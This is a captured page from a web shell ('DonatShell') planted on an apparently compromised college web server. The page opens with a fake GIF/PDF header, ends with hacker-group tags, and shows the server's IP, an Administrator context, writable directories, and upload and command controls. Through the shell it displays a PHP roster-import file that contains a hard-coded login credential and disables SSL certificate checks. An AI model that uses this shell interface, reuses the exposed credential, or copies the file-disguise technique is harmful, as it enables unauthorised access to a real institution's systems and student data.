GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/Admin/Class/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/nginx/html/Admin/Class/ClassRosterImport.phpinc
<?
// Admin/Class/ClassRosterImport.phpinc

debugTrackBegin();
#if (dc()) echo "<b>".__FILE__."</b><br>\n";

$js .= ",ClassEvaluations,openCenteredWindow,wforms";
$headTitle = '_CST_ - '.$f_courseNumber.' ClassRosterImport';
$pageTitle = '_CST_<br>'.$f_courseNumber.' ClassRosterImport';
include('common/pageHeader.phpinc');
$sectionTitle = $f_courseNumber.' Class Roster Import';
include('common/sectionHeader.phpinc');

//https://eservices.minnstate.edu/faculty/public/secure/classList/classRoster?courseId=000770&yrtr=20185
$importURL = 'https://eservices.minnstate.edu/faculty/public/secure/classList/classRoster?courseId='.$f_RCclassId.'&yrtr='.$_SESSION['YRTR']['User'].'';
printVar('$importURL',$importURL);

#$pageContents = shell_exec("/PHP/curl/curl -L http://www.zend.com http://zend.com/developers.php http://zend.com/zend/tut/"); 
#printVar('$pageContents',$pageContents);

/* * /
$ch = curl_init();    // initialize curl handle
curl_setopt($ch, CURLOPT_URL,$importURL); // set url to post to
curl_setopt($ch, CURLOPT_FAILONERROR, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);// allow redirects
curl_setopt($ch, CURLOPT_RETURNTRANSFER,1); // return into a variable
curl_setopt($ch, CURLOPT_TIMEOUT, 3); // times out after 4s
curl_setopt($ch, CURLOPT_POST, 1); // set POST method
curl_setopt($ch, CURLOPT_POSTFIELDS, "url=index%3Dbooks&field-keywords=PHP+MYSQL"); // add POST fields
$result = curl_exec($ch); // run the whole process
curl_close($ch); 
echo $result; 
/* */
 
$pageContents = get_web_page($importURL);
printVar('$pageContents',$pageContents);
#echo $pageContents['content'];

?>

<?
function get_web_page($url) {
	#$ch = curl_init( $url );
	$ch = curl_init();
	curl_setopt($ch, CURLOPT_URL, $url);
	curl_setopt($ch, CURLOPT_USERPWD, '7967:240555');
	curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_ANY);
	curl_setopt($ch, CURLOPT_URL, $url);
	curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
	curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
	curl_setopt($ch, CURLOPT_HEADER, false);
	curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
	curl_setopt($ch, CURLOPT_ENCODING, "");
	curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']);
	curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 120);
	curl_setopt($ch, CURLOPT_TIMEOUT, 120);
	curl_setopt($ch, CURLOPT_MAXREDIRS, 10);
	curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
	curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookie.txt');    // Use cookie.txt for STORING cookies 
	#curl_setopt($cr, CURLOPT_POST, true); // Tell curl that we are posting data
	#curl_setopt($cr, CURLOPT_POSTFIELDS, $data); // Post the data in the array above 
	
	/* * /
	$options = array(
	CURLOPT_RETURNTRANSFER => true,     // return web page
	CURLOPT_HEADER         => false,    // don't return headers
	CURLOPT_FOLLOWLOCATION => true,     // follow redirects
	CURLOPT_ENCODING       => "",       // handle all encodings
	CURLOPT_USERAGENT      => $_SERVER['HTTP_USER_AGENT'], // who am i
	CURLOPT_AUTOREFERER    => true,     // set referer on redirect
	CURLOPT_CONNECTTIMEOUT => 120,      // timeout on connect
	CURLOPT_TIMEOUT        => 120,      // timeout on response
	CURLOPT_MAXREDIRS      => 10,       // stop after 10 redirects
	CURLOPT_SSL_VERIFYPEER      => 0,       // Stop cert verify when using windows.
	);
	curl_setopt_array( $ch, $options );
	/* */
	$content = curl_exec( $ch );
	$err     = curl_errno( $ch );
	$errmsg  = curl_error( $ch );
	$header  = curl_getinfo( $ch );
	curl_close( $ch );
	$header['errno']   = $err;
	$header['errmsg']  = $errmsg;
	$header['content'] = $content;
	return $header;
}
printVar('$_POST',$_POST);
include('common/sectionFooter.phpinc');
?>
<script type="text/javascript">
	document.form_classroster.f_classRoster.focus();
</script>
<?
debugTrackEnd();
?>

Anon7 - 2022
AnonSec Team